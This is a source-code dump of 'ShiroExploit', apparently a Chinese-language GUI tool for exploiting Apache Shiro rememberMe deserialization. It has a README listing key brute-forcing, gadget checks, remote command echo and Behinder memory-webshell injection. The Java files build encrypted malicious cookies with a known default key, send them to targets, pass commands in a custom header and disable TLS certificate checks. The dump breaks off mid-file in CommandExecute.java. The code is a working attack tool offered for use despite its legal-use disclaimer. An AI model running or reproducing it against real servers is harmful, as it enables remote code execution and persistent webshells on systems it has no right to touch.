├── .gitignore ├── README.md ├── img ├── 1.png └── 2.png ├── pom.xml └── src ├── META-INF └── MANIFEST.MF ├── main ├── java │ ├── Main.java │ ├── common │ │ ├── CommonUtils.java │ │ ├── HttpUtils.java │ │ ├── PayloadEncrypt.java │ │ └── SslUtils.java │ ├── core │ │ ├── CommandExecute.java │ │ ├── GadgetCheck.java │ │ ├── MemInject.java │ │ └── ShiroKeyBrute.java │ ├── entity │ │ └── ControllersFactory.java │ ├── javax │ │ └── servlet │ │ │ └── jsp │ │ │ └── PageContext.java │ ├── payloads │ │ ├── CommonsBeanutils1.java │ │ ├── CommonsBeanutils1_183.java │ │ ├── CommonsCollections11.java │ │ ├── CommonsCollectionsK1.java │ │ ├── check │ │ │ └── TomcatGadgetCheck.java │ │ ├── echo │ │ │ └── TomcatEcho.java │ │ ├── memshell │ │ │ └── Behinder │ │ │ │ └── MemBehinder.java │ │ └── util │ │ │ ├── ClassFiles.java │ │ │ ├── Gadgets.java │ │ │ ├── Reflections.java │ │ │ ├── Serializer.java │ │ │ └── SuidClassLoader.java │ └── ui │ │ └── MyController.java └── resources │ ├── ShiroKeys.txt │ ├── commons-beanutils-1.8.3.txt │ ├── detect.txt │ └── sample.fxml └── test └── java └── demo.java /.gitignore: -------------------------------------------------------------------------------- 1 | # Built application files 2 | .DS_Store 3 | *.apk 4 | *.ap_ 5 | # Files for the Dalvik VM 6 | *.dex 7 | # Java class files 8 | *.class 9 | # Generated files 10 | bin/ 11 | gen/ 12 | out/ 13 | target/ 14 | # Gradle files 15 | .gradle/ 16 | build/ 17 | # Local configuration file (sdk path, etc) 18 | local.properties 19 | # Proguard folder generated by Eclipse 20 | proguard/ 21 | # Log Files 22 | *.log 23 | # Android Studio Navigation editor temp files 24 | .navigation/ 25 | # Android Studio captures folder 26 | captures/ 27 | # Intellij 28 | *.iml 29 | # Keystore files 30 | *.jks 31 | .settings/ 32 | .project 33 | .classpath 34 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ShiroExploit 2 | Shiro 可视化利用工具(beta 3 | 4 | ## 免责声明 5 | 该项目仅供合法的渗透测试以及爱好者参考学习,请各位遵守《中华人民共和国网络安全法》以及相应地方的法律,禁止使用该项目进行违法操作,否则自行承担相关责任 6 | 7 | ### 目前已实现: 8 | 1. 支持密钥爆破以及 CBC/GCM 两种加密模式 9 | 2. 可修改特征头,可进行 GET/POST 发包,可选择对应的 Content-Type 10 | 3. 支持检测利用链是否可用(Tomcat) 11 | 4. 支持命令执行回显(Tomcat) 12 | 5. 支持多版本 jar ,目前依赖中 CommonsBeanutils1 为 1.9.2 版本,CommonsBeanutils1_183 为 1.8.3 版本(后续会增加更多不同版本的利用链) 13 | 6. 支持 Payload 输出模式,开启后工具的 payload 都会进行输出 14 | 7. 冰蝎3内存马注入 15 | 8. 支持 http/socks 代理,在设置中可设置代理 16 | 9. 支持自定义 header 功能,因为有的场景下需要特定header才会回显 deleteMe ,否则会出现检测不到的情况,在设置中可进行自定义header 17 | 18 | ### 暂未实现 19 | 1. ~~冰蝎3内存马注入~~、哥斯拉内存马注入、reGeorg内存马注入 20 | 2. Weblogic组件部分利用 21 | 3. 特征修改 22 | 4. 文件上传功能 23 | 24 | 25 | 利用效果: 26 | 27 | ![](./img/2.png) 28 | 29 | ### 参考 30 | 感谢前辈们的优秀文章和优秀项目 31 | 32 | 冰蝎: https://github.com/rebeyond/Behinder 33 | 34 | shiro_attack: https://github.com/j1anFen/shiro_attack 35 | 36 | 内存马注入思路: https://mp.weixin.qq.com/s/r4cU84fASjflHrp-pE-ybg 37 | -------------------------------------------------------------------------------- /img/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bravery9/ShiroExploit/eb8da5040d48beeb3e9e7c4d015629996cd534b6/img/1.png -------------------------------------------------------------------------------- /img/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bravery9/ShiroExploit/eb8da5040d48beeb3e9e7c4d015629996cd534b6/img/2.png -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | com.detect 8 | ShiroDetect 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 13 | 14 | 15 | org.apache.maven.plugins 16 | maven-assembly-plugin 17 | 18 | 19 | 20 | jar-with-dependencies 21 | 22 | 23 | 24 | 25 | 26 | ${project.name} 27 | Main 28 | 29 | 30 | 31 | 32 | 33 | 34 | make-assembly 35 | package 36 | 37 | single 38 | 39 | 40 | 41 | 42 | 43 | org.apache.maven.plugins 44 | maven-compiler-plugin 45 | 46 | 8 47 | 8 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | commons-beanutils 59 | commons-beanutils 60 | 1.9.2 61 | 62 | 63 | 64 | org.apache.shiro 65 | shiro-core 66 | 1.2.4 67 | 68 | 69 | 70 | commons-collections 71 | commons-collections 72 | 3.1 73 | 74 | 75 | 76 | 77 | org.javassist 78 | javassist 79 | 3.27.0-GA 80 | 81 | 82 | 83 | net.bytebuddy 84 | byte-buddy 85 | 1.11.0 86 | 87 | 88 | 89 | commons-io 90 | commons-io 91 | 2.6 92 | 93 | 94 | 95 | org.apache.tomcat.embed 96 | tomcat-embed-core 97 | 9.0.46 98 | 99 | 100 | 101 | -------------------------------------------------------------------------------- /src/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Main-Class: Main 3 | 4 | -------------------------------------------------------------------------------- /src/main/java/Main.java: -------------------------------------------------------------------------------- 1 | import javafx.application.Application; 2 | import javafx.fxml.FXMLLoader; 3 | import javafx.scene.Parent; 4 | import javafx.scene.Scene; 5 | import javafx.stage.Stage; 6 | 7 | /** 8 | * 未完成 9 | * shiro 存在校验的情况,即遇到302的时候如何进行校验 10 | * 代理设置 (分为sock和http这块需要单独处理,进行设置保存) 11 | * rememberMe 特征可修改(已实现) 12 | * SSL 校验问题 (已实现) 13 | * GCM 加密算法 (已实现,暂未校验) 14 | * 利用链检测 (已实现)通过获取回显的方式 15 | * Tomcat Echo (已实现) 16 | * 未做不同操作系统版本的适配 17 | * 内存马注入 (冰蝎已实现,但是细节问题需要弄清楚) 18 | * Weblogic 相关(还没研究 19 | * 特征可修改 (看心情 20 | */ 21 | 22 | public class Main extends Application { 23 | // 启动代码 24 | @Override 25 | public void start(Stage primaryStage) throws Exception{ 26 | // 文件位置不对 27 | Parent root = FXMLLoader.load(this.getClass().getResource("/sample.fxml")); 28 | primaryStage.setTitle("Shiro Exploit by: 天下大木头"); 29 | primaryStage.setScene(new Scene(root)); 30 | primaryStage.show(); 31 | } 32 | 33 | 34 | public static void main(String[] args) { 35 | launch(args); 36 | } 37 | 38 | } 39 | -------------------------------------------------------------------------------- /src/main/java/common/CommonUtils.java: -------------------------------------------------------------------------------- 1 | package common; 2 | 3 | import entity.ControllersFactory; 4 | 5 | import java.io.ByteArrayOutputStream; 6 | import java.io.InputStream; 7 | import java.net.InetSocketAddress; 8 | import java.net.Proxy; 9 | import java.util.HashMap; 10 | import java.util.Map; 11 | 12 | public class CommonUtils { 13 | 14 | public static String normizePath(String path) throws Exception{ 15 | if (path.startsWith("/")){ 16 | return path.substring(1, path.length()); 17 | } else { 18 | return path; 19 | } 20 | } 21 | 22 | public static String normizeUrl(String url) throws Exception { 23 | if (url.endsWith("/")){ 24 | return url; 25 | } else { 26 | return url + "/"; 27 | } 28 | } 29 | 30 | public static String md5(String s) { 31 | String ret = null; 32 | try { 33 | java.security.MessageDigest m; 34 | m = java.security.MessageDigest.getInstance("MD5"); 35 | m.update(s.getBytes(), 0, s.length()); 36 | ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase(); 37 | } catch (Exception e) {} 38 | return ret.substring(0,16).toLowerCase(); 39 | } 40 | 41 | public static String readStringFromInputStream(InputStream inputStream) throws Exception{ 42 | StringBuilder stringBuilder = new StringBuilder(""); 43 | byte[] bytes = new byte[1024]; 44 | int n = 0; 45 | while ((n=inputStream.read(bytes)) != -1){ 46 | stringBuilder.append(new String(bytes,0,n)); 47 | } 48 | return stringBuilder.toString(); 49 | } 50 | 51 | 52 | public static byte[] getDetectText() throws Exception{ 53 | InputStream inputStream = HttpUtils.class.getClassLoader().getResourceAsStream("detect.txt"); 54 | // 读取字节流还是用 ByteArrayOutputStream 55 | // 将数据读到 byteArrayOutputStream 中 56 | ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); 57 | int n; 58 | while ((n=inputStream.read()) != -1){ 59 | byteArrayOutputStream.write(n); 60 | } 61 | byte[] bytes = byteArrayOutputStream.toByteArray(); 62 | return bytes; 63 | } 64 | 65 | public static Map normalProxy(Map paramContext) { 66 | String myProxy = paramContext.get("MyProxy"); 67 | String host = myProxy.split(":")[0]; 68 | String port = myProxy.split(":")[1]; 69 | Map proxy = new HashMap<>(); 70 | proxy.put("host",host); 71 | proxy.put("port", String.valueOf(port)); 72 | return proxy; 73 | } 74 | 75 | public static void addHttpProxy(String host,int port){ 76 | Proxy proxy = new Proxy(Proxy.Type.HTTP,new InetSocketAddress(host,port)); 77 | ControllersFactory.currentProxy.put("Proxy", proxy); 78 | } 79 | 80 | public static void addSocksProxy(String host,int port){ 81 | Proxy proxy = new Proxy(Proxy.Type.SOCKS,new InetSocketAddress(host,port)); 82 | ControllersFactory.currentProxy.put("Proxy", proxy); 83 | } 84 | 85 | public static void clearCurrentProxy(){ 86 | ControllersFactory.currentProxy.put("Proxy", null); 87 | } 88 | 89 | public static void main(String[] args) { 90 | String myProxy = "127.0.0.1:7890"; 91 | String host = myProxy.split(":")[0]; 92 | int port = Integer.parseInt(myProxy.split(":")[1]); 93 | System.out.println(host); 94 | System.out.println(port); 95 | } 96 | } 97 | -------------------------------------------------------------------------------- /src/main/java/common/HttpUtils.java: -------------------------------------------------------------------------------- 1 | package common; 2 | 3 | import entity.ControllersFactory; 4 | import ui.MyController; 5 | import java.io.BufferedReader; 6 | import java.io.InputStream; 7 | import java.io.InputStreamReader; 8 | import java.io.OutputStream; 9 | import java.net.HttpURLConnection; 10 | import java.net.InetSocketAddress; 11 | import java.net.Proxy; 12 | import java.net.URL; 13 | import java.util.HashMap; 14 | import java.util.List; 15 | import java.util.Map; 16 | 17 | public class HttpUtils { 18 | 19 | final private MyController myController = (MyController) ControllersFactory.controllers.get(MyController.class.getSimpleName()); 20 | final private Map paramContext = ControllersFactory.paramsContext; 21 | 22 | // 探测的时候检测 rememberMe=delteMe 的数量 23 | public boolean shiroDetectRequest(String method,String url) throws Exception { 24 | this.myController.result.appendText("[+] 目标地址: " + url + "\n"); 25 | // 修改特征头 26 | String rememberMe = paramContext.get("rememberMe"); 27 | String demoCookie = rememberMe+"=xxx"; // 探测用的 rememberMe 28 | // String demoCookie = "JSESSIONID=140424b7-bffb-44dd-9460-3042aa54ba56"; 29 | Map> header = null; 30 | List setCookie = null; 31 | if (method.equals("GET")){ 32 | header = this.sendGetRequest(url,demoCookie); 33 | } else if (method.equals("POST")){ 34 | header = this.sendPostRequest(url,demoCookie,null); 35 | } 36 | if (header != null) { 37 | setCookie = header.get("Set-Cookie"); 38 | if (setCookie != null && setCookie.toString().contains("=deleteMe")){ 39 | // 如果返回头中有多个 deleteme 40 | if (setCookie.size() > 1){ 41 | int index = 0; 42 | for (String value:setCookie){ 43 | if (value.contains("=deleteMe")){ 44 | index +=1; 45 | } 46 | } 47 | paramContext.put("Index", String.valueOf(index)); 48 | } 49 | 50 | this.myController.result.appendText("[+] 检测到 Shiro 框架\n"); 51 | return true; 52 | } else { 53 | this.myController.result.appendText("[!] 未检测到 Shiro 框架\n"); 54 | return false; 55 | } 56 | } else { 57 | this.myController.result.appendText("[!] 没有发现 Header 头\n"); 58 | return false; 59 | } 60 | } 61 | 62 | public boolean shiroKeyBruteRequest(String method,String url,String key) throws Exception{ 63 | String rememberMe = paramContext.get("rememberMe"); 64 | Map> header = null; 65 | List setCookie = null; 66 | String detectCookie = null; 67 | String encryptType = this.paramContext.get("Encrypt"); 68 | // 这里做一个判断来区分是 gcm 的还是 aes cbc 的 69 | if (encryptType.equals("CBC")){ 70 | detectCookie = rememberMe + "=" + PayloadEncrypt.AesCbcEncrypt(CommonUtils.getDetectText(),key); 71 | } else{ 72 | detectCookie = rememberMe + "=" + PayloadEncrypt.AesGcmEncrypt(CommonUtils.getDetectText(),key); 73 | } 74 | 75 | if (method.equals("GET")){ 76 | header = this.sendGetRequest(url,detectCookie); 77 | } else { 78 | header = this.sendPostRequest(url,detectCookie,null); 79 | } 80 | 81 | // 输出模式的情况下输出 payload 82 | if (paramContext.get("OutputType").equals("1")){ 83 | this.myController.result.appendText("\nPayload输出模式:"); 84 | this.myController.result.appendText("\nKey: " + key + "\nCookie: " + detectCookie + "\n\n"); 85 | } 86 | 87 | int index = 0; 88 | if (paramContext.get("Index") != null){ 89 | index = Integer.parseInt(paramContext.get("Index")); 90 | } 91 | 92 | if (header != null){ 93 | setCookie = header.get("Set-Cookie"); 94 | // 判断deleteme 的数量 95 | if (setCookie != null && index > 1){ 96 | if (setCookie.size() >= 1){ 97 | int size = 0; 98 | for (String value:setCookie){ 99 | if (value.contains("=deleteMe")){ 100 | size +=1; 101 | } 102 | } 103 | if (size < index){ 104 | this.myController.result.appendText("[+] 密钥为: " + key + "\n\n"); 105 | return true; 106 | } 107 | } 108 | } 109 | 110 | if (setCookie == null || !setCookie.toString().contains("=deleteMe")){ 111 | this.myController.result.appendText("[+] 密钥为: " + key + "\n\n"); 112 | return true; 113 | } 114 | } else { 115 | this.myController.result.appendText("[!] 没有获取到 Header 头,有可能频率过快导致连接断开 \n"); 116 | return false; 117 | } 118 | return false; 119 | } 120 | 121 | public Map> sendCheckInject(String url, String cookie, String password) throws Exception{ 122 | // 忽略 ssl 证书报错 123 | SslUtils.ignoreSsl(); 124 | HttpURLConnection httpURLConnection = null; 125 | HttpURLConnection.setFollowRedirects(false); 126 | URL u = new URL(url); 127 | if (ControllersFactory.currentProxy.get("Proxy") != null){ 128 | Proxy proxy = ControllersFactory.currentProxy.get("Proxy"); 129 | httpURLConnection = (HttpURLConnection) u.openConnection(proxy); 130 | }else { 131 | httpURLConnection = (HttpURLConnection) u.openConnection(); 132 | } 133 | httpURLConnection.setRequestMethod("GET"); 134 | httpURLConnection.setConnectTimeout(5); 135 | httpURLConnection.setRequestProperty("User-Agent","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"); 136 | httpURLConnection.setRequestProperty("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"); 137 | httpURLConnection.setRequestProperty("Accept-Encoding", "gzip, deflate"); 138 | httpURLConnection.setRequestProperty("Accept-Language", "zh-CN,zh;q=0.9"); 139 | httpURLConnection.setRequestProperty("Connection", "close"); 140 | if (cookie != null){ 141 | httpURLConnection.addRequestProperty("Cookie",cookie); 142 | } 143 | if (ControllersFactory.paramsContext.get("CustomHeader") != null){ 144 | for (Map.Entry entry:ControllersFactory.currentHeader.entrySet()){ 145 | httpURLConnection.setRequestProperty(String.valueOf(entry.getKey()),String.valueOf(entry.getValue())); 146 | } 147 | } 148 | httpURLConnection.setRequestProperty("pass", password); 149 | Map> header = httpURLConnection.getHeaderFields(); 150 | return header; 151 | } 152 | 153 | // Java get 发包 154 | public Map> sendGetRequest(String url, String cookie) throws Exception{ 155 | Map myProxy = new HashMap<>(); 156 | Map> header = null; 157 | // 忽略 ssl 证书报错 158 | SslUtils.ignoreSsl(); 159 | HttpURLConnection httpURLConnection = null; 160 | HttpURLConnection.setFollowRedirects(false); 161 | URL u = new URL(url); 162 | try { 163 | if (ControllersFactory.currentProxy.get("Proxy") != null){ 164 | Proxy proxy = ControllersFactory.currentProxy.get("Proxy"); 165 | httpURLConnection = (HttpURLConnection) u.openConnection(proxy); 166 | }else { 167 | httpURLConnection = (HttpURLConnection) u.openConnection(); 168 | } 169 | httpURLConnection.setRequestMethod("GET"); 170 | httpURLConnection.setConnectTimeout(5); 171 | httpURLConnection.setRequestProperty("User-Agent","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"); 172 | httpURLConnection.setRequestProperty("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"); 173 | httpURLConnection.setRequestProperty("Accept-Encoding", "gzip, deflate"); 174 | httpURLConnection.setRequestProperty("Accept-Language", "zh-CN,zh;q=0.9"); 175 | httpURLConnection.setRequestProperty("Connection", "close"); 176 | if (cookie != null){ 177 | httpURLConnection.addRequestProperty("Cookie",cookie); 178 | } 179 | if (ControllersFactory.paramsContext.get("CustomHeader") != null){ 180 | for (Map.Entry entry:ControllersFactory.currentHeader.entrySet()){ 181 | httpURLConnection.setRequestProperty(String.valueOf(entry.getKey()),String.valueOf(entry.getValue())); 182 | } 183 | } 184 | header = httpURLConnection.getHeaderFields(); 185 | return header; 186 | } catch (Exception e){ 187 | return header; 188 | } 189 | } 190 | 191 | // java post 发包 192 | public Map> sendPostRequest(String url,String cookie,String postData) throws Exception { 193 | Map myProxy = new HashMap<>(); 194 | Map> header = null; 195 | String param = null; 196 | if (postData == null){ 197 | param = this.paramContext.get("PostParam"); 198 | } else { 199 | param = postData; 200 | } 201 | // 忽略 ssl 证书报错 202 | SslUtils.ignoreSsl(); 203 | HttpURLConnection httpURLConnection = null; 204 | HttpURLConnection.setFollowRedirects(false); 205 | URL u = new URL(url); 206 | try { 207 | if (ControllersFactory.currentProxy.get("Proxy") != null){ 208 | Proxy proxy = ControllersFactory.currentProxy.get("Proxy"); 209 | httpURLConnection = (HttpURLConnection) u.openConnection(proxy); 210 | }else { 211 | httpURLConnection = (HttpURLConnection) u.openConnection(); 212 | } 213 | httpURLConnection.setRequestMethod("POST"); 214 | if (ControllersFactory.paramsContext.get("CustomHeader") == null){ 215 | httpURLConnection.setRequestProperty("User-Agent","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"); 216 | httpURLConnection.setRequestProperty("content-type",this.paramContext.get("ContentType")); 217 | httpURLConnection.setRequestProperty("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"); 218 | httpURLConnection.setRequestProperty("Accept-Encoding", "gzip, deflate"); 219 | httpURLConnection.setRequestProperty("Accept-Language", "zh-CN,zh;q=0.9"); 220 | httpURLConnection.setRequestProperty("Connection", "close"); 221 | if (cookie != null){ 222 | httpURLConnection.addRequestProperty("Cookie",cookie); 223 | } 224 | }else { 225 | for (Map.Entry entry:ControllersFactory.currentHeader.entrySet()){ 226 | httpURLConnection.setRequestProperty(String.valueOf(entry.getKey()),String.valueOf(entry.getValue())); 227 | } 228 | } 229 | httpURLConnection.setConnectTimeout(5); 230 | httpURLConnection.setDoOutput(true); 231 | httpURLConnection.setDoInput(true); 232 | 233 | OutputStream outputStream = httpURLConnection.getOutputStream(); 234 | outputStream.write(param.getBytes()); 235 | outputStream.flush(); 236 | outputStream.close(); 237 | // 获取返回头信息 238 | header = httpURLConnection.getHeaderFields(); 239 | return header; 240 | } catch (Exception e){ 241 | return header; 242 | } 243 | } 244 | 245 | 246 | public String getGetRequestResponse(String url, String cookie,String cmd) throws Exception{ 247 | Map myProxy = new HashMap<>(); 248 | // 忽略 ssl 证书报错 249 | SslUtils.ignoreSsl(); 250 | HttpURLConnection httpURLConnection = null; 251 | HttpURLConnection.setFollowRedirects(false); 252 | URL u = new URL(url); 253 | 254 | if (ControllersFactory.currentProxy.get("Proxy") != null){ 255 | Proxy proxy = ControllersFactory.currentProxy.get("Proxy"); 256 | httpURLConnection = (HttpURLConnection) u.openConnection(proxy); 257 | }else { 258 | httpURLConnection = (HttpURLConnection) u.openConnection(); 259 | } 260 | httpURLConnection.setRequestMethod("GET"); 261 | httpURLConnection.setConnectTimeout(5); 262 | httpURLConnection.setRequestProperty("User-Agent","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"); 263 | httpURLConnection.setRequestProperty("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"); 264 | httpURLConnection.setRequestProperty("Accept-Encoding", "gzip, deflate"); 265 | httpURLConnection.setRequestProperty("Accept-Language", "zh-CN,zh;q=0.9"); 266 | if (cmd != null){ 267 | httpURLConnection.setRequestProperty("co0kie",cmd); 268 | } 269 | httpURLConnection.setRequestProperty("Connection", "close"); 270 | if (cookie != null){ 271 | httpURLConnection.addRequestProperty("Cookie",cookie); 272 | } 273 | if (ControllersFactory.paramsContext.get("CustomHeader") != null){ 274 | for (Map.Entry entry:ControllersFactory.currentHeader.entrySet()){ 275 | httpURLConnection.setRequestProperty(String.valueOf(entry.getKey()),String.valueOf(entry.getValue())); 276 | } 277 | } 278 | InputStream inputStream = httpURLConnection.getInputStream(); 279 | BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); 280 | String line = null; 281 | String resp = ""; 282 | while ((line=bufferedReader.readLine()) != null){ 283 | resp += line; 284 | resp += "\n"; 285 | } 286 | return resp; 287 | } 288 | 289 | // java post 发包 290 | public String getPostRequestResponse(String url,String cookie,String cmd) throws Exception { 291 | Map myProxy = new HashMap<>(); 292 | String param = this.paramContext.get("PostParam"); 293 | // 忽略 ssl 证书报错 294 | SslUtils.ignoreSsl(); 295 | HttpURLConnection httpURLConnection = null; 296 | HttpURLConnection.setFollowRedirects(false); 297 | URL u = new URL(url); 298 | if (ControllersFactory.currentProxy.get("Proxy") != null){ 299 | // myProxy = CommonUtils.normalProxy(paramContext); 300 | // Proxy proxy = new Proxy(Proxy.Type.HTTP,new InetSocketAddress(myProxy.get("host"),Integer.valueOf(myProxy.get("port")))); 301 | Proxy proxy = ControllersFactory.currentProxy.get("Proxy"); 302 | httpURLConnection = (HttpURLConnection) u.openConnection(proxy); 303 | }else { 304 | httpURLConnection = (HttpURLConnection) u.openConnection(); 305 | } 306 | httpURLConnection.setRequestMethod("POST"); 307 | httpURLConnection.setRequestProperty("User-Agent","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"); 308 | httpURLConnection.setRequestProperty("content-type",this.paramContext.get("ContentType")); 309 | httpURLConnection.setRequestProperty("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"); 310 | httpURLConnection.setRequestProperty("Accept-Encoding", "gzip, deflate"); 311 | httpURLConnection.setRequestProperty("Accept-Language", "zh-CN,zh;q=0.9"); 312 | if (cmd != null){ 313 | httpURLConnection.setRequestProperty("co0kie",cmd); 314 | } 315 | httpURLConnection.setRequestProperty("Connection", "close"); 316 | if (cookie != null){ 317 | httpURLConnection.addRequestProperty("Cookie",cookie); 318 | } 319 | if (ControllersFactory.paramsContext.get("CustomHeader") != null){ 320 | for (Map.Entry entry:ControllersFactory.currentHeader.entrySet()){ 321 | httpURLConnection.setRequestProperty(String.valueOf(entry.getKey()),String.valueOf(entry.getValue())); 322 | } 323 | } 324 | httpURLConnection.setConnectTimeout(5); 325 | httpURLConnection.setDoOutput(true); 326 | httpURLConnection.setDoInput(true); 327 | OutputStream outputStream = httpURLConnection.getOutputStream(); 328 | outputStream.write(param.getBytes()); 329 | outputStream.flush(); 330 | outputStream.close(); 331 | 332 | InputStream inputStream = httpURLConnection.getInputStream(); 333 | BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); 334 | String line = null; 335 | String resp = ""; 336 | while ((line=bufferedReader.readLine()) != null){ 337 | resp += line; 338 | resp += "\n"; 339 | } 340 | return resp; 341 | } 342 | 343 | } 344 | -------------------------------------------------------------------------------- /src/main/java/common/PayloadEncrypt.java: -------------------------------------------------------------------------------- 1 | package common; 2 | 3 | import org.apache.shiro.codec.Base64; 4 | import org.apache.shiro.crypto.AesCipherService; 5 | import org.apache.shiro.util.ByteSource; 6 | import sun.misc.BASE64Decoder; 7 | 8 | import javax.crypto.Cipher; 9 | import javax.crypto.spec.IvParameterSpec; 10 | import javax.crypto.spec.SecretKeySpec; 11 | import java.io.ByteArrayOutputStream; 12 | import java.io.InputStream; 13 | import java.security.SecureRandom; 14 | 15 | public class PayloadEncrypt { 16 | 17 | // 暂未测试 18 | public static String AesGcmEncrypt(byte[] plainText,String key) throws Exception{ 19 | byte[] k = new BASE64Decoder().decodeBuffer(key); 20 | AesCipherService aes = new AesCipherService(); 21 | ByteSource initciphertext = aes.encrypt(plainText, k); 22 | return String.valueOf(initciphertext); 23 | } 24 | 25 | 26 | public static String AesCbcEncrypt(byte[] plainText,String key) throws Exception { 27 | byte[] k = new BASE64Decoder().decodeBuffer(key); 28 | byte[] ivBytes = new byte[16]; 29 | SecureRandom random = new SecureRandom(); 30 | random.nextBytes(ivBytes); 31 | IvParameterSpec ivParameterSpec = new IvParameterSpec(ivBytes); 32 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 33 | SecretKeySpec keySpec = new SecretKeySpec(k,"AES"); 34 | cipher.init(1,keySpec,ivParameterSpec); 35 | byte[] payloadBytes = cipher.doFinal(plainText); 36 | byte[] output = new byte[ivBytes.length + payloadBytes.length]; 37 | System.arraycopy(ivBytes, 0, output, 0, ivBytes.length); 38 | System.arraycopy(payloadBytes, 0, output, ivBytes.length, payloadBytes.length); 39 | String b64Payload = Base64.encodeToString(output); 40 | return b64Payload; 41 | } 42 | 43 | public static void main(String[] args) throws Exception { 44 | System.out.println(new PayloadEncrypt().AesCbcEncrypt(CommonUtils.getDetectText(),"kPH+bIxk5D2deZiIxcaaaA==")); 45 | } 46 | 47 | 48 | } 49 | -------------------------------------------------------------------------------- /src/main/java/common/SslUtils.java: -------------------------------------------------------------------------------- 1 | package common; 2 | 3 | import java.security.cert.CertificateException; 4 | import java.security.cert.X509Certificate; 5 | 6 | import javax.net.ssl.HostnameVerifier; 7 | import javax.net.ssl.HttpsURLConnection; 8 | import javax.net.ssl.SSLContext; 9 | import javax.net.ssl.SSLSession; 10 | import javax.net.ssl.TrustManager; 11 | import javax.net.ssl.X509TrustManager; 12 | 13 | public class SslUtils { 14 | private static void trustAllHttpsCertificates() throws Exception { 15 | TrustManager[] trustAllCerts = new TrustManager[1]; 16 | TrustManager tm = new miTM(); 17 | trustAllCerts[0] = tm; 18 | SSLContext sc = SSLContext.getInstance("SSL"); 19 | sc.init(null, trustAllCerts, null); 20 | HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory()); 21 | } 22 | 23 | static class miTM implements TrustManager,X509TrustManager { 24 | public X509Certificate[] getAcceptedIssuers() { 25 | return null; 26 | } 27 | 28 | public boolean isServerTrusted(X509Certificate[] certs) { 29 | return true; 30 | } 31 | 32 | public boolean isClientTrusted(X509Certificate[] certs) { 33 | return true; 34 | } 35 | 36 | public void checkServerTrusted(X509Certificate[] certs, String authType) 37 | throws CertificateException { 38 | return; 39 | } 40 | 41 | public void checkClientTrusted(X509Certificate[] certs, String authType) 42 | throws CertificateException { 43 | return; 44 | } 45 | } 46 | 47 | /** 48 | * 忽略HTTPS请求的SSL证书,必须在openConnection之前调用 49 | * @throws Exception 50 | */ 51 | public static void ignoreSsl() throws Exception{ 52 | HostnameVerifier hv = new HostnameVerifier() { 53 | public boolean verify(String urlHostName, SSLSession session) { 54 | return true; 55 | } 56 | }; 57 | trustAllHttpsCertificates(); 58 | HttpsURLConnection.setDefaultHostnameVerifier(hv); 59 | } 60 | } 61 | 62 | -------------------------------------------------------------------------------- /src/main/java/core/CommandExecute.java: -------------------------------------------------------------------------------- 1 | package core; 2 | 3 | import common.HttpUtils; 4 | import common.PayloadEncrypt; 5 | import entity.ControllersFactory; 6 | import payloads.echo.TomcatEcho; 7 | import payloads.util.Serializer; 8 | import ui.MyController; 9 | import java.lang.reflect.Method; 10 | import java.util.Map; 11 | 12 | public class CommandExecute { 13 | final private MyController myController = (MyController) ControllersFactory.controllers.get(MyController.class.getSimpleName()); 14 | final private Map paramContext = ControllersFactory.paramsContext; 15 | final private Map successGadget = ControllersFactory.successGadget; 16 | private HttpUtils httpUtils = new HttpUtils(); 17 | 18 | // final private Map loaderByte = ControllersFactory.loaderByte; 19 | 20 | public void tomcatCommandExecute(String gadget,String cmd) throws Exception { 21 | Class gadgetClass = successGadget.get(gadget); 22 | // 如果不为null的话,就返回对应利用链,利用反射调用他们的方法 23 | if (gadgetClass != null){ 24 | String k = paramContext.get("ShiroKey"); 25 | String url = paramContext.get("URL"); 26 | String resp = null; 27 | String echoCookie = null; 28 | // 利用反射调用 getObject ,然后将 TomcatEcho 的 payload 作为参数进行传入,并对结果进行序列化 29 | Method getObject = gadgetClass.getDeclaredMethod("getObject",byte[].class); 30 | getObject.setAccessible(true); 31 | byte[] bytes = Serializer.serialize(getObject.invoke(gadgetClass.newInstance(), TomcatEcho.tomcatEchoPayload())); // 利用反射进行调用 32 | 33 | //交给 shiro 进行加密 34 | String encryptType = this.paramContext.get("Encrypt"); 35 | if (encryptType.equals("CBC")){ 36 | echoCookie = paramContext.get("rememberMe") + "=" + PayloadEncrypt.AesCbcEncrypt(bytes,k); 37 | } else{ 38 | echoCookie = 